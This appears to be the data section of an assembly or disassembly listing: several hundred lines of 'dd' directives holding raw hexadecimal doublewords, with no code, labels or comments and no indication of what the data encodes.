		dd 0C171EC23h, 8404166h, 3C94FBCDh, 9F095813h, 0BC0445F2h
		dd 0F57B6189h, 8798FFF8h, 0F573BD00h, 0BDDE92Dh, 79FBCA20h
		dd 4C5B5042h, 9D22F808h, 0E9FF809Dh, 5ED03DFBh,	8219306Eh
		dd 0C03CC4D3h, 0B6D289Dh, 5182DC80h, 0D668A680h, 4350774Dh
		dd 0A00324A4h, 0C141ACC6h, 85890A7Eh, 86E434AAh, 8E131BDh
		dd 291FF513h, 14CB6425h, 0B6C04AC8h, 9C13723h, 0FFFDBDD8h
		dd 0D1996822h, 310DFC5Ah, 18378FD6h, 0D1007033h, 9B287395h
		dd 5D0025B6h, 183E0969h, 16DEE4B0h, 9D33A06Dh, 0E22462B8h
		dd 0E1883031h, 0A02A2E27h, 6A749A9Ch, 1BEB0B01h, 74B7AB05h
		dd 0FD80911Dh, 33C965CEh, 1B4E40FAh, 0A42DB712h, 0A08B8816h
		dd 10C05DC8h, 0E6323F4h, 406B958Ch, 7E5FC082h, 9FC204D9h
		dd 481D0913h, 0F893611h, 336A7780h, 410B7F9Ah, 36350E13h
		dd 89FC10B0h, 0E2384233h, 0FB3A3037h, 26C53F1Eh, 0CE0C9CC5h
		dd 41D340B0h, 38443028h, 8BC04188h, 0D3FFF7C1h,	538CD2CCh
		dd 56FAA520h, 9C9F00DAh, 6BA913C5h, 0EC0158D5h,	71AF3668h
		dd 186C27CEh, 9F3BC322h, 9155ADEFh, 8155E14h, 9EC0CC7Ch
		dd 46BB7B39h, 14822B4h,	1A399678h, 97022C88h, 0B4434F86h
		dd 0C26033h, 0C5F91571h, 4649FC31h, 3422774Bh, 0F5763084h
		dd 70FF9A11h, 0B8808C88h, 0FB1EF56Eh, 0C53B0A61h, 0C984767h
		dd 7269265Eh, 0F6D4F700h, 37C63FB5h, 29911AD7h,	0ECD171D9h
		dd 0FC188E79h, 4C273A00h, 73D201AAh, 0FDE1C763h, 8468CB2Bh
		dd 32811FEDh, 0AC28380Dh, 0FA008C4Fh, 0A8F1EA02h, 39A086AFh
		dd 64CC7E14h, 0D5910C02h, 144ABF7Dh, 0B7D054DBh, 17B7766h
		dd 0B3B147D3h, 611B7563h, 0BE0018Ch, 0CC98004Eh, 0E92C0B51h
		dd 24696D3Ah, 7C0815A5h, 38CC092h, 23FBA5D1h, 845E80B4h
		dd 0D0E903h, 0E7D623BDh, 0E01A687h, 0C320A0B8h,	45C60926h
		dd 0B82281CFh, 0C0C1759Fh, 4C90A952h, 471849D1h, 4F1D2B06h
		dd 193C06h, 0EA2CD357h,	98B7C3E9h, 0D486D73Fh, 4A00FB10h
		dd 9AE9FAE3h, 23293A2h,	416CC653h, 0A4A078CEh, 0D0917BCCh
		dd 0D7D1FF18h, 0A2111BA1h, 0D180F9C4h, 1BD1859h, 379F75B2h
		dd 0F0CD6C0Eh, 6A05D5FEh, 8D5C48F9h, 0C0CB8008h, 0BB7A399Dh
		dd 4B22AC46h, 3995771Ch, 0BA4F5A41h, 5ACAB529h,	10AC0790h
		dd 306162F8h, 3A992B3Dh, 0B40F830Bh, 479461DAh,	0BB8E5A00h
		dd 0BABCD2Fh, 4A4C40F8h, 3F212DFBh, 381024B3h, 1013C8Fh
		dd 47DDBBE0h, 5370134h,	44FC2020h, 0DCB4111Dh, 89C7A602h
		dd 6BF88190h, 0A832874Eh, 673035F2h, 10D704BBh,	82C57938h
		dd 6C202D54h, 188FE84h,	855325C7h, 32CD414Dh, 27C58A8h
		dd 0D275D382h, 87E85037h, 634744B4h, 8329F103h,	3F6D5980h
		dd 5D7B97E4h, 16E62002h, 0D94FEC5Ch, 0CB828138h, 33E27B6Dh
		dd 3393B284h, 5AE3D1E8h, 0B50DB001h, 2C3C7E3Eh,	1E1472FAh
		dd 0A0862B4Bh, 97A20227h, 8757910Ch, 0E200C6Eh,	187FB216h
		dd 0C06DDBD1h, 29C7471Ah, 1DE05703h, 2C7B8205h,	3A60A16Eh
		dd 301D42AFh, 0A8E4F91h, 0D24B44A2h, 0D1E87EE3h, 8A5428F5h
		dd 2A3C0180h, 0BF278022h, 64D09C1Dh, 3110000Ah,	785194DCh
		dd 0CA0823A5h, 4A2A33h,	4EF6417Bh, 794BE7A8h, 96FA640Fh
		dd 9403447Eh, 3BDDE5Eh,	38482BFAh, 330014EDh, 972F0736h
		dd 0B68C262h, 4D8661E8h, 481B4061h, 3600A09Ch, 0D8B69979h
		dd 7C232982h, 448552E1h, 9BF57702h, 0A85178FFh,	0F56FB960h
		dd 0DB210007h, 812FE5Dh, 0A129709Eh, 4AD1BCF4h,	0C71FEF18h
		dd 8AC07BE5h, 0EEFBF1FFh, 4150C281h, 0E04BD5C8h, 4C03B9E8h
		dd 0EB420490h, 1E0BC909h, 0F39FE840h, 0CC2F404Eh, 0AD008B23h
		dd 0F1B7457Fh, 7AD4A2A5h, 2B6045FCh, 293FC86Eh,	0F3B82800h
		dd 0BE836E35h, 97E11925h, 808F1160h, 3D9BFEBFh,	4DC263Fh
		dd 0A354080h, 1F2C01CCh, 7308A431h, 4F91056Bh, 0A50CC8F9h
		dd 3C4ECF4Eh, 0EE214E36h, 1F1D69C4h, 81921144h,	2D68C0E6h
		dd 0EB7960h, 9DDC8FC4h,	1C5B2629h, 8851C71Ah, 6D00270h
		dd 0AD770457h, 38D7B8D4h, 0B217035Dh, 5B54C0F3h, 4140BBCDh
		dd 3A5025B3h, 5480B8C9h, 883C8EC0h, 8428C156h, 1FB0AF54h
		dd 80471120h, 36CBE7DDh, 0D9EF13A8h, 0CFF8877Fh, 8BAB0A04h
		dd 0C75BC824h, 0CED43078h, 0BA09BFADh, 7AC5F999h, 0B1890B1Ch
		dd 0A0C59E50h, 1B618CE4h, 0FD907089h, 0A423DB2Ch, 448BDD93h
		dd 0BC048C8h, 51859BD0h, 0B2F1CA7h, 18679E10h, 6E5A5911h
		dd 779700Ch, 5C05CA70h,	8CD0B416h, 3AFF00C1h, 0D3A14107h
		dd 2D803848h, 118A0C6h,	0D65A3FDAh, 22249D18h, 3091E284h
		dd 0BE03B0A6h, 0AD729D98h, 634C069h, 6918B668h,	31E4D845h
		dd 41551561h, 102943CCh, 0CB5607D2h, 10E5C2B8h,	0A5605BE4h
		dd 0E503A6CBh, 0CA3B781h, 662BC088h, 0C9A8DF3Dh, 4C7851EFh
		dd 0C86E9F5Fh, 2B92C502h, 0DCF137E9h, 87189379h, 0B325DA09h
		dd 0EC140073h, 0F12C212Ah, 293ED43Dh, 4B2D3160h, 380E06E7h
		dd 539BB17h, 0F85497D2h, 8C4BE860h, 0CA65B803h,	0B96DBAC4h
		dd 3428AA86h, 0A103F584h, 0A2303348h, 0B3C43090h, 15D8B103h
		dd 0C95DB2F1h, 432E4AD7h, 85ABE30Ch, 887930A2h,	60195C79h
		dd 82019D91h, 541547Ah,	0A468CB50h, 37D10C9Eh, 780A01C9h
		dd 94714BB9h, 49451D0Ch, 7CCC2440h, 7E6600D8h, 1401A691h
		dd 9FCC189Fh, 8E343D9h,	8C3D4835h, 0DD494F1Bh, 0F0A5890h
		dd 8FC7B4ACh, 9A6CB507h, 8414B21Fh, 0E8E20990h,	450CD0AAh
		dd 96B08B46h, 0AA6C6839h, 38341361h, 2CACA428h,	0E53E5200h
		dd 0D6B1598Ch, 1B5B3EDBh, 0F6661D87h, 43D39781h, 3101FD4Fh
		dd 0C3917D76h, 0E4332236h, 7E304CA2h, 9C790009h, 1B1D548h
		dd 8CA0C218h, 0D05F820Dh, 8E233C2Fh, 0ACAB2A00h, 6F777D1h
		dd 36C4D4E3h, 7F09A025h, 1046CBD9h, 28B27560h, 52085B4Bh
		dd 9B0760C9h, 0D9BB7839h, 75603459h, 433993h, 157BBF74h
		dd 67BB0DF7h, 0B8511A2Ah, 9AD2E900h, 0B8313340h, 0C3E0A2h
		dd 0C52A9885h, 44F425Ah, 0E8401F5Fh, 0BA03A025h, 8DE700AAh
		dd 7267F022h, 3F135128h, 98A2874Ah, 4F3035E2h, 3C580065h
		dd 2EB35C0Ah, 67F48C39h, 0A4405F4Bh, 0E022B004h, 5D3104C8h
		dd 0C37C2862h, 0EF0D73Fh, 0F8B41C1Eh, 64A44727h, 1E9D6057h
		dd 1B1313DCh, 282C4B49h, 0FCD31449h, 4490B51Fh,	4674B0B6h
		dd 37960455h, 0F4B4D9F8h, 38939502h, 0B30E1EB2h, 7D25BC04h
		dd 0BA019E00h, 0F89E580Bh, 271E3388h, 649FC49Bh, 7DC8F971h
		dd 5E9C748Ah, 29023046h, 5FA0906Dh, 193C68D2h, 51A8012h
		dd 2859D823h, 8BF5373Dh, 9FD72186h, 6860E9EFh, 0A47288E4h
		dd 263B0894h, 0E7DC5F09h, 6039C4DCh, 0CDC446h, 271348EFh
		dd 5B9D6FC7h, 49BFFD19h, 85102261h, 772ECB94h, 5E0B8C2Fh
		dd 0B9F84E06h, 189159B8h, 95FC00B5h, 5FC27289h,	0CF6B29DEh
		dd 11141D51h, 0F8038090h
		dd 1E8F3941h, 4B658ADBh, 0E448250Fh, 2F852A1Ah,	91170435h
		dd 41D6DD02h, 446C7E5Bh, 23288D03h, 0A3AAA584h,	6C80096h
		dd 8E78FEE0h, 81D90FFBh, 0B91CFF23h, 186BABDAh,	73206B00h
		dd 892ACA56h, 0E5D8538h, 0C6090614h, 130C1A25h,	0FADB8C66h
		dd 15882D8Bh, 0E86534C3h, 3ADE9C6h, 0B5333A8Fh,	585A2B2Dh
		dd 848106AFh, 0FF0C3537h, 1E121195h, 502CDCF8h,	8B50010Ah
		dd 240489F3h, 0B8ECEC6Ah, 0C2FA8C1Ch, 18DDD31Ch, 0ED122A00h
		dd 9F040FE9h, 4674207Eh, 32C90119h, 0DAB2779Eh,	1719E41h
		dd 0FB84B003h, 6CB0CDE6h, 87300F60h, 0DEBF1705h, 2D460CF6h
		dd 521512E9h, 68E5CE01h, 0E451A599h, 0F7C830h, 4DC37C37h
		dd 61DE0831h, 7F70E62Dh, 71E41F10h, 458D290Dh, 0B6F8A426h
		dd 9D890CD8h, 0BA122DF9h, 8B2D8AF7h, 822CBC3h, 1F89B51Bh
		dd 0ED0C1026h, 0E8C10911h, 0BEEDF704h, 0A08D2263h, 1D66EA2Eh
		dd 39847BEh, 0D82BE2F7h, 0B656410h, 0F945038h, 663F2F8Ch
		dd 895FF283h, 0BDB1241Ch, 0FC9B81D5h, 2C05B5FFh, 287E18Ah
		dd 10F11260h, 1C60812Dh, 2BE5B523h, 0D4B5D6A4h,	0BCED8018h
		dd 5FA95B9h, 44483604h,	10BB3464h, 0E86FA932h, 0C74607B1h
		dd 4C4F196Dh, 99150Fh, 0E2251AE7h, 91C0AFEh, 0B8E6C901h
		dd 5F190201h, 0ABF5EC4h, 7F4DF177h, 8B0F05CAh, 0BE6E0E04h
		dd 613CDD43h, 0ADC083E1h, 7CB7D7C2h, 0EFDE1505h, 0D6EEF450h
		dd 0C0BE9ABBh, 9C6D30AFh, 894E09E5h, 0CB2A31BDh, 0AACC2815h
		dd 8053D705h, 5D2E58h, 0BDB0FD34h, 1D76A83Bh, 7C850692h
		dd 0A2601AC4h, 0A63883E6h, 0E93E8C3Bh, 0E31F09h, 7F957C6h
		dd 0A6B74A13h, 8791D69Fh, 20FFCE8Ch, 0AF23B868h, 2D930A16h
		dd 630B90BBh, 0AD003158h, 64CB702Ch, 9899BC4Dh,	8F8609BFh
		dd 380ED983h, 0C85E3811h, 0D6810064h, 133FE1AAh, 18667858h
		dd 1C2DDEF6h, 0D038880Fh, 0EC164C01h, 80F8C1Dh,	60F81138h
		dd 485BA135h, 0ECBE0073h, 2B0D7AA5h, 1950D1BDh,	0D69FB9D3h
		dd 0B5752DABh, 0FD8480FAh, 4D6D13C0h, 0A7212B00h, 428BF66h
		dd 0B0C14883h, 45A8BD24h, 8686023Bh, 0DBD50162h, 792A780Ah
		dd 0C0ECA300h, 8970EA68h, 18FD2C8Dh, 2ED94547h,	1D1C232Ch
		dd 0C2200F1h, 3F1F9F28h, 0C1F66316h, 0A4CE4248h, 1E3D0893h
		dd 5BE54826h, 0B7A8A6ABh, 0E83865F3h, 0B7F98B54h, 3A80267Eh
		dd 2B9CCBC8h, 0B7D20956h, 7E82603Eh, 29011B31h,	7FBA6185h
		dd 0C32B5F0Ah, 1D465C41h, 7D573A00h, 1CDCDDEFh,	0B05C1B13h
		dd 489F3700h, 0D008343Dh, 4B35DC2Ch, 0BE6F39h, 0EFA82AD6h
		dd 0C876A9Eh, 6A19D01h,	0B52C0BC0h, 0E98D9099h,	0BC6B3753h
		dd 0C077808Fh, 0BFE04Dh, 84256C08h, 4378F7Ah, 0A05F5201h
		dd 0C08B6169h, 0AC56BD6Bh, 5DCC0262h, 991CBA5Ah, 0FC5A7Fh
		dd 47783D39h, 0E19FEA71h, 92D860Ah, 0A028C4F8h,	0D8817391h
		dd 254DBD23h, 8C71497h,	7D000C96h, 3152B53h, 0C4D4B0BDh
		dd 8060C035h, 9FA3EAFAh, 21B660EDh, 0E3611340h,	5762BDF5h
		dd 85D1D024h, 8C33850Fh, 63CF65BBh, 0D72C9AFFh,	0FB78E5FBh
		dd 0E1322E6Ah, 22831C30h, 8B9A6159h, 1C8C0689h,	0D339F8C1h
		dd 49E65AFh, 1E51C5h, 0A1B53190h, 9D1FA125h, 5E160DAEh
		dd 3D001D46h, 6C07EC38h, 5C13A77Ah, 2E0B9B1Ch, 4AF12A05h
		dd 0A3DC00DEh, 0D70DD061h, 0BD143134h, 14661615h, 2D5F2B85h
		dd 509D7FE1h, 4B801491h, 8589F88Bh, 8315B92Bh, 0A441D8h
		dd 0B556D4EAh, 0B6CE257Eh, 336BBBBAh, 85073756h, 6BCE46D9h
		dd 9537286Dh, 0B7161D20h, 0E940E474h, 0E3FFF829h, 0ADE5ED6Bh
		dd 3A730FCh, 34DFE812h,	0EC9EC9F7h, 0B02E1120h,	20612236h
		dd 6BAEC15Bh, 0C4DC24ADh, 0DD7ECF02h, 0E1B7E4EBh, 0AC30FD6Bh
		dd 83A1018Dh, 0DF4D30Bh, 0C65C80B3h, 9D292F5Ah,	3789ABDh
		dd 17B1BF51h, 81946A5Eh, 6B079134h, 93C340BCh, 54C8F4F6h
		dd 431D7F90h, 6E66F8F1h, 73006020h, 3349BFA7h, 4F8BD3B0h
		dd 5BFCD0h, 3668CC3Fh, 3F778C35h, 0F10466E0h, 0C2505E5Fh
		dd 60210822h, 0B8FCD98Ah, 61470F06h, 0C5E50190h, 0DBB2BE11h
		dd 0F5BAF832h, 399B722Fh, 0D3449ACEh, 8932C260h, 3D898212h
		dd 0AB61050Dh, 0C586A4h, 29079FA0h, 85F945A7h, 0B601E401h
		dd 619505B3h, 0F5E59A40h, 0A6066117h, 0FAC083FAh, 6AE000CDh
		dd 21FBA2Fh, 29F38E60h,	0C8A2A9BDh, 0F2D75090h,	674D03B8h
		dd 8DD0E181h, 50A2AFEDh, 0EE825A76h, 442A9E64h,	0F0021723h
		dd 0C0FB5708h, 41E98DF5h, 8FBADC12h, 0FD27433Bh, 5502616Bh
		dd 96E02B48h, 0F4819000h, 221AD20Bh, 657700F7h,	4B88BB06h
		dd 5F2D7E8Fh, 3C12D509h, 0CE02BEDh, 29F59ADh, 0BD349D06h
		dd 0F940FF97h, 6B124D9h, 11B1908h, 0A7789D8Dh, 0B24B6317h
		dd 0FF3D301Ah, 0FDCBA700h, 57BF220Dh, 529B2E33h, 1351117Dh
		dd 3EDBD3FFh, 537A9483h, 0FA1BE10h, 860E5E37h, 85275B01h
		dd 0CD7F09EDh, 0AFE3C09Fh, 0A9278B4Ah, 621FF9Ch, 0C4248CB4h
		dd 6C0106BCh, 19CA6F6Bh, 88F479E5h, 82E0031Ah, 63E6815Eh
		dd 0E93E7BD8h, 5A01A35Dh, 0EFF261AFh, 0E7FC02F5h, 61868418h
		dd 0DFEC1C01h, 60581110h, 2AA59D08h, 7720E817h,	0EBF276h
		dd 0B3BA5B0Bh, 0AA32F49h, 16550F5Dh, 855F89F7h,	61182650h
		dd 0A2BA1C5Eh, 8B1752E4h, 5E0E5ACFh, 0B0791BE3h, 947D7DEh
		dd 0DB0B6D1Ch, 529B4084h, 0BD832F40h, 0B717F39Ch, 7FCBAC7Ch
		dd 2060634Dh, 1171DCh, 0F641CF7h, 91E9FFB7h, 0F4FADEB5h
		dd 2414FD58h, 0D97760Ah, 5C1BF224h, 1DA284EDh, 550EC800h
		dd 5263DE41h, 448C5401h, 4CE9E728h, 0DE578BA6h,	703C8452h
		dd 7666FEB5h, 0AD001A46h, 41C2D223h, 661CEF8Dh,	483B64BFh
		dd 960C70Eh, 0FB85F67Fh, 2D058F83h, 2FBA610Dh, 17C4F065h
		dd 22FA6060h, 0B120974Fh, 5B35CFh, 0A8556FBCh, 0EAEC6D80h
		dd 44828C16h, 368134C5h, 116D262Dh, 9065219Eh, 0AD008BA2h
		dd 33BCDFE0h, 0CB00D455h, 0A3C25428h, 59CDD2Fh,	50069375h
		dd 952FC190h, 1CE90024h, 0C4AFA704h, 15086016h,	2D52B8B2h
		dd 272A0C0Dh, 0F2DF01A5h, 6670E6D6h, 5954F013h,	0BFDB1C10h
		dd 36FBC28Bh, 269771E4h, 41851511h, 0C2378490h,	8E2918C3h
		dd 79509166h, 25075B7Dh, 0FCF6BE0Bh, 0A3993EB0h, 1D424C02h
		dd 7953CAC7h, 8B5F948Ah, 86B44809h, 0CC062885h,	1F41310Fh
		dd 13DD1C61h, 34E4AA15h, 2F4007ABh, 604DED30h, 88A506F7h
		dd 5BCD8512h, 56AE2D30h, 0BD709Fh, 0F8C2D319h, 136C6E34h
		dd 8B61990Ah, 4674F3C3h, 13E001Bh, 0C5722948h, 0F8A55088h
		dd 450A4B59h, 0B6319521h, 4C6A4E87h, 56BFCE00h,	581BE83Eh
		dd 0B12F92Dh, 0EED5581h, 60960362h, 264D16E7h, 16C30D68h
		dd 0ADADD3FBh, 0A28556ACh, 0B167E6AAh, 0BE30958Bh, 35FE4EBFh
		dd 0FEB6BF22h, 327174B2h, 89C0BBACh, 911AAD9Dh,	8D2904AFh
		dd 4445B109h, 0C04C9BB0h, 0DFB5917Dh, 94AC90F9h, 4A1CDC5Eh
		dd 0CF40878Fh, 0C06E8093h, 88DDB65Ah, 9C7C01F0h, 0D8DBE0D7h
		dd 0D3041268h, 60E3FEEDh, 2FFECD96h, 0D8380E21h, 74F41B5h
		dd 0CD825627h, 854B4E1Dh, 6019C4F2h, 12100B82h,	57FFA27Dh
		dd 2A6E48h, 187D96C7h, 149DE8A0h, 0EC298EF6h, 511FE910h
		dd 0C0CE5B4Dh, 74C8ED8Dh, 0D5C50B51h, 0CD7D58E7h, 0DA4B6264h
		dd 1245CBDAh, 0C05A301h, 0ABA5A16Ch, 52F0B0A3h,	6016656Bh
		dd 9AC561FCh, 0D6DB94A4h
		dd 0FA630B29h, 0C1C06E62h, 0D1820141h, 2363650h, 7370B5BBh
		dd 5755058Ch, 9979CEBEh, 0C1691AA3h, 60F1BB55h,	4FE18130h
		dd 19A24423h, 18610B0Ah, 846ACEh, 0ADB3DE91h, 0F5555A46h
		dd 80012374h, 0DAA6F02Fh, 1D365BE4h, 0D482D3F2h, 2B071979h
		dd 0CEC0019Bh, 6D6D3B8Dh, 78A62188h, 2D2E4508h,	0CB8A2057h
		dd 1D2F4E2h, 6F46289Dh,	503CB33Fh, 89952910h, 0EE522F5Ah
		dd 6BF9AA0Bh, 0E5BDF80Dh, 0D9208430h, 252DF617h, 4A377C91h
		dd 1DAC4707h, 0A216C3E9h, 0E3020B06h, 87D8152Bh, 0D6AD76B5h
		dd 31476405h, 0A80B699Dh, 9A466706h, 0C053372Dh, 0C5AAE870h
		dd 0B3B0B2AEh, 0B5330961h, 6C5562BDh, 8A60011Eh, 258D31E7h
		dd 3623250Bh, 2055590Ch, 0BE905A26h, 7600E76Bh,	0FD3B10F9h
		dd 660B943Dh, 31E5E6BEh, 2120F839h, 3BE42FE7h, 80093555h
		dd 0DA7DB862h, 0A09BF09h, 1D251CD0h, 961811DBh,	0AA2596AEh
		dd 9CB97E26h, 260A9108h, 51B800BEh, 2EF811Ah, 1166620Eh
		dd 0EDE0E060h, 0FA1CB0E2h, 3DD405D3h, 0C06102F5h, 524940Bh
		dd 3DDD7D48h, 0D301C15Dh, 3C81772Fh, 48308FDEh,	780B3835h
		dd 1269C04h, 545875B5h,	0E11C7E77h, 26F611Ch, 31DD96Eh
		dd 0FA02D580h, 7E6D089Ch, 0E131ED61h, 69AACCA1h, 3DBD8225h
		dd 0E9F5012Bh, 503E6C66h, 0D0D2F0C6h, 168D0416h, 4DC0B91Ah
		dd 55C02F10h, 0BFF356C3h, 7667D97Dh, 3E5E1D6Ch,	119238Fh
		dd 593E299Ch, 0E75334CAh, 372DDF25h, 74901EBh, 6C5FFC50h
		dd 9ABAD62Eh, 57D5C090h, 0B490FF3Eh, 7B4403Ah, 4B7DC964h
		dd 161D8B00h, 94D460E5h, 0B78203B1h, 50AE4D6Eh,	78E0B9D2h
		dd 0B50B4F9Eh, 7790613Eh, 86413EDh, 3121F081h, 0F188C304h
		dd 6F54A35h, 0EC80ACDBh, 3B30CD79h, 5DB0DD0Ah, 0F4049756h
		dd 0A08017FFh, 5B6D7C72h, 9B2D161Eh, 66F4817Bh,	123A50CFh
		dd 23F53A4Eh, 92AB001Ch, 0AFA07593h, 0BB81C114h, 8C14E87Ah
		dd 9DF5792Dh, 801B9100h, 0FCCD0D16h, 0DA5416E0h, 2DF88D5Ah
		dd 291B893h, 8589C76Eh,	1CD920C1h, 465C9868h, 4F39001Bh
		dd 0A75DF367h, 0DF6B779h, 60D78160h, 0DCA09A3h,	0DA5BD3FFh
		dd 0BF37170h, 893B3FA7h, 0B20F4105h, 0CE9AD219h, 0BB4D4F85h
		dd 0C4D469A5h, 71B813B6h, 0D16F0415h, 855F0B11h, 53C80D6Bh
		dd 2C085B41h, 6592FE0Fh, 0CBE03BADh, 5ACA562h, 0CDD457FBh
		dd 6CB4EB5Dh, 0A33D00F2h, 0A850FFD0h, 0D60B90B5h, 677463E8h
		dd 43E9144h, 0C719D8Bh,	543C8613h, 0FED0C9D6h, 2A5C15h
		dd 0BB32D416h, 0FC0C9604h, 0FE9AB10Bh, 93306C72h, 8A9F7890h
		dd 5056BB0h, 6D8D291Dh,	5192DB56h, 0EB7932A7h, 0BAA9C100h
		dd 4C31C9h, 8B151308h, 0BD830DA2h, 17FDB917h, 8B58D8AEh
		dd 8FE9F217h, 1723953Fh, 0A6648E01h, 342DE886h,	990EE03h
		dd 55901F25h, 0BD250357h, 5E0A8091h, 3CF815Fh, 5B76132h
		dd 9C5A85C7h, 0A0865434h, 0E436B98h, 0C037CD5Dh, 43B1B73Bh
		dd 77BC0304h, 5FA88910h, 9650ED80h, 160572C0h, 0A62D65ECh
		dd 80084527h, 929ECE81h, 0FD9014D7h, 4BDB0EA2h,	95337C07h
		dd 63D5B930h, 0FF860B13h, 2B87EA76h, 68F50D1Dh,	48A1D247h
		dd 0AE510E2h, 9755B29Fh, 801A1187h, 9DE545EBh, 0F64C5D1h
		dd 1091A383h, 810F1CDDh, 310580C7h, 344FB21Dh, 3FB62B5Ch
		dd 21348BE1h, 0C1CB2823h, 10ADB589h, 1900C97h, 50796CFFh
		dd 5F592453h, 39A97AF7h, 280357ACh, 68D09620h, 738AA0DAh
		dd 3F42FE9h, 0C751857h,	0E6FE09A6h, 2803B017h, 70BAF0BFh
		dd 9270D573h, 0B680020Bh, 0E676532Ch, 962738F8h, 0E883C3C2h
		dd 9BFF8D8h, 5037D3CDh,	0B086FE4h, 4B03F1B5h, 60EB6D7Dh
		dd 3C903B05h, 0CB48326h, 0E227B109h, 0DC8A568Eh, 5BF86EE5h
		dd 0FE88Ah, 9C5DC6B9h, 0C70064F5h, 701A386Bh, 2C8BE49h
		dd 11B0416Fh, 0D956EBA0h, 0ACC55E13h, 9D313760h, 53074F09h
		dd 0D50C048Dh, 5093001Bh, 0A20E8F0Fh, 9F1B003Ch, 0E8D50D2Eh
		dd 61600922h, 4737935Fh, 44345B89h, 0A7BE0004h,	8CCD1DC0h
		dd 0AF0092EFh, 0D7A9D423h, 16B357B0h, 0DD442F54h, 0B0352601h
		dd 0FF0C472h, 0AA66A965h, 39046D29h, 5B00E3F9h,	7607A66Eh
		dd 0FE41CCC6h, 41F7BA87h, 0C2B0FC13h, 1670115Bh, 0A1891252h
		dd 0E6871267h, 0B4C8E022h, 0E0AA0549h, 0E2877672h, 69730063h
		dd 922452D3h, 0EEEA0106h, 82A80738h, 20952148h,	2F41C146h
		dd 162D3769h, 0CDB71442h, 2B27C680h, 136E8B3h, 0F1BFDEB5h
		dd 6A2458AFh, 0BC7A1E2Dh, 30FFC73h, 0B9D9BD2Eh,	1B0012E8h
		dd 0A9ECDA1Eh, 0F9A27Fh, 8B3862A4h, 0D43EAA47h,	4AAB5A12h
		dd 0DDEF8A56h, 0C38E6011h, 0A2248998h, 15A6E2A3h, 2D23ED08h
		dd 0BE3098F5h, 0B3424913h, 5858905h, 563AB318h,	8081B528h
		dd 0C5417D02h, 47D0639h, 2512E110h, 56B758h, 0EC430C2Bh
		dd 6B019560h, 8D0175B6h, 0D7880D59h, 249058Bh, 0DA25C99Eh
		dd 2A15455Ah, 9F2D396Eh, 1CC17092h, 48526CF3h, 0B50DC003h
		dd 0B23363h, 0E6E5847Eh, 0A1FDD74Ch, 9E0B937Ah,	690183F7h
		dd 5450CE6Ah, 0B6E174E6h, 0B8E4276Ch, 441FB00h,	0ECF0D5B4h
		dd 628F3C7Fh, 77915EADh, 0CCFC1289h, 3D9B928Bh,	612F3160h
		dd 8D24840Fh, 0E82DB125h, 805E0F5Bh, 266D8D31h,	60C32B01h
		dd 0A4175ABh, 518B0F69h, 602DE0BFh, 17560E04h, 42419589h
		dd 870F5E16h, 0F5502583h, 2E3FE9C9h, 0A7090F7Bh, 40EDC08Bh
		dd 0B7E1FEC0h, 0AA712D07h, 8915DA8h, 60020F09h,	0AB89BD23h
		dd 0C6C45FB6h, 52BCD58h, 61B578ABh, 20ADF3C4h, 2DC53903h
		dd 0C9D50F1Dh, 9B622FE8h, 0BA5A1388h, 0D664353Ch, 76A6F25h
		dd 5CE7FB9Ch, 22E1A310h, 2B072E6Ch, 981F12DBh, 34F0B336h
		dd 6704EA00h, 2AC73D6Eh, 198040EFh, 57681E45h, 0E1C9EBD6h
		dd 0C201893Ch, 68B4794Dh, 0C5BC7A61h, 45164B94h, 6A6CDD09h
		dd 9F00826Eh, 82283978h, 2D01A3C8h, 4245DF81h, 8B6D66F2h
		dd 4030A1C4h, 2449B860h, 971050Bh, 0AD34798Dh, 0C03D3D26h
		dd 0F6810252h, 40E367FFh, 7218A40h, 0ED61FBC9h,	0C91CC183h
		dd 28F33873h, 0E9644C17h, 60BDF973h, 0DF0279B8h, 4D96D75Fh
		dd 0B0ED4C66h, 0D71208Bh, 30CE8102h, 7E7591B9h,	50101095h
		dd 0AFB739C6h, 0D558D55h, 7212FE80h, 0BF666D96h, 7FDEF22Dh
		dd 0AFBECA90h, 6F41C612h, 0BBE085E6h, 880576EDh, 0FE855B3Ch
		dd 828A50B1h, 448E1D51h, 0ACD65BC1h, 28D699CCh,	0EF71512h
		dd 2D68E889h, 0D2C42073h, 670034CFh, 5D655C1Eh,	24ADF9h
		dd 41107FE7h, 4605CAD3h, 5840E294h, 4CE2DB14h, 0DD0E3DE4h
		dd 0DB33FFF7h, 0F40680E4h, 9CC18B96h, 2AA238EBh, 7E31044h
		dd 24E6CDFFh, 444EA026h, 8D3B6692h, 659A0BCEh, 17A26661h
		dd 8501B529h, 0E163E640h, 7F6D21F3h, 0A00CB6D7h, 2B0BA86h
		dd 87506430h, 0E6D17EBEh, 1AC0B5A7h, 3E82382Fh,	4C862B01h
		dd 0A71EAAF5h, 856D1809h, 0FE085038h, 8A60850Ah, 6175D8CAh
		dd 0D1B388D2h, 66301CA2h, 963801A7h, 163B9318h,	0EF2F207Bh
		dd 6A7EE517h, 87B4DBBEh, 0C7D070B3h, 0C546ABE2h, 0B7FA8B9Dh
		dd 0C06A4B14h, 0BC74A500h, 0CCC7AFF6h, 462D8B97h, 0B7C9615h
		dd 2CA3D3FFh, 0A3C58FD7h, 22E44CC9h, 0A9B913h, 56C58865h
		dd 0A4004304h, 5CFA729Ch, 90F9DB61h, 0BE2B1CAh,	0B34702E9h
		dd 4FDBB114h, 32C0129Bh, 187B9AEh, 9E3CF75Ah, 5B208A28h
		dd 65E858B4h, 4A031100h
		dd 29AA1887h, 7B8B398Ch, 56C59D13h, 80F39B72h, 0D494C997h
		dd 6B8E1368h, 57830551h, 79BCA3B3h, 0AE469409h,	0D98EB36Dh
		dd 74EDBBF1h, 8A71A569h, 8D5FE40h, 6127D4B9h, 18E55BFCh
		dd 949E3608h, 1D467Ch, 93F4A973h, 15E94597h, 0E1079BBFh
		dd 4F4A0222h, 0B415F2CDh, 430B5784h, 5EDA4601h,	397AFF38h
		dd 0B0090613h, 204CB9F6h, 12FD1567h, 0BD229C39h, 6B4ACDDCh
		dd 56BFE022h, 0CB19DC71h, 0EE7E0C3Ch, 8E688ECDh, 0F91FCD8h
		dd 46D488B4h, 0F510B14h, 3C8A188Dh, 569C3AEDh, 0EAF69185h
		dd 2580A258h, 608C4F75h, 0F44F30E1h, 3DB7A920h,	304A9BCFh
		dd 1EB3BEFCh, 8B7F1507h, 0E91550F1h, 9B535700h,	0EC904Bh
		dd 0D0D9A21Fh, 0F18DDB95h, 86778200h, 2148896Bh, 0A731E95Eh
		dd 1AF03636h, 8D222923h, 35E927CDh, 17C41EE7h, 76F8E763h
		dd 0BE0B6641h, 77B0360Fh, 6FC0636Dh, 48B7A50Fh,	0C000E3EBh
